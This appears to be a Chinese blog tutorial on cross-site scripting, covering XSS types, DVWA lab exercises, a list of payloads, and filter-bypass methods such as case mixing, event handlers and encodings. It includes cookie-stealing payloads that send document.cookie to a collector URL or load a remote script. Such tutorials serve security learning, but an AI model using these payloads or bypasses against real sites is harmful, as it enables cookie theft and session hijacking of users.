XSS
1.什么是xss
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
2.xss原理
(1).攻击者对某含有漏洞的服务器发起XSS攻击(注入JS代码)
(2)诱使受害者打开受到攻击的服务器URL(邮件、留言等,此步骤可选项)
(3)受害者在Web浏览器中打开URL,恶意脚本执行。
3.xss类型
(1)反射性:
非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
(2)存储型:
持久化,代码是存储在服务器中的,如在个人信息或发表文章以及留言板等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等
(3)DOM:
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
4.演练(以下练习均在DVWA环境中实现)
怎么找到XSS漏洞:
个人理解:见框就插,因为一般的xss都是存在有文本框的地方。
常见payload构建:
<!-- 基本类型 -->
<script>alert ('xss')</script>
<script>alert ("xss")</script>
<script>alert (/xss/)</script>
<script>alert ('xss');</script>
<script>alert('document.cookie')</script> //获取本地cookie
<!-- 利用基本事件 -->
<img src=x onerror=alert(1)> //事件会在文档或图像加载过程中发生错误时被触发
<img scr=x onload=alert(1)> //图片正常加载才执行onload
<img scr=x onclick=alert(1)>//事件会在对象被点击时发生
<img scr=x onmouseover=alert(1) > //当鼠标指针移动到图像上时执行一段 JavaScript:
<!-- 利用Javascript伪协议 -->
<iframe src="Javascript:alert(1)"></iframe>
<!-- XSS获取cookie -->
<script>window.open('http://127.0.0.1/cookie.php?cookie='+document.cookie)</script>
<script src=http://127.0.0.1/test.js></script>
(1).反射性:
直接在页面反弹
payload:<script>alert('xss')</script>
payload:<script>alert(document.cookie)</script> 获取本地cookie
(2)存储型
插到数据库当中,每次打开都会反弹。大多数存在于留言板。
payload ; <script>alert('xss')</script>
又插入一个payload:<script>alert('document.cookie')</script> (两个都会反弹)
(3).DOM
属于反射性
payload:<script>alert('xss')</script> (把原来的参数换成自己的payload)
5.绕过方法
1.利用<script>标签
2. 利用html标签的属性值
3. 利用空字符
4. 利用事件
onclick 鼠标单击
onchange 内容发生改变
onerror 图片等未找到时
onload 页面加载
onmouseover 鼠标悬停
onmouseout 鼠标移出
onmousemove 鼠标路过
5. 扰乱过滤规则
1)大小写混合
<sCRipt>alert('xss')</script>
2)引号的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
6. 利用字符编码
1)HTML进制编码
标签中的某些属性值可以使用html十进制、十六进制表示
2)JavaScript编码
JavaScript支持unicode、八进制、十六进制、十进制等
3)URL编码
4)base64编码
6.常见绕过实战
http://www.cnblogs.com/pangya/p/8979211.html
关注网络安全
更多精彩内容:欢迎关注公众号和知识星球
专注实战/Bypass
![](https://files-cdn.cnblogs.com/files/pangya/公众号名片的副本.bmp?t=1653271768)
![](https://files-cdn.cnblogs.com/files/pangya/知识星球二维码.bmp?t=1653273228)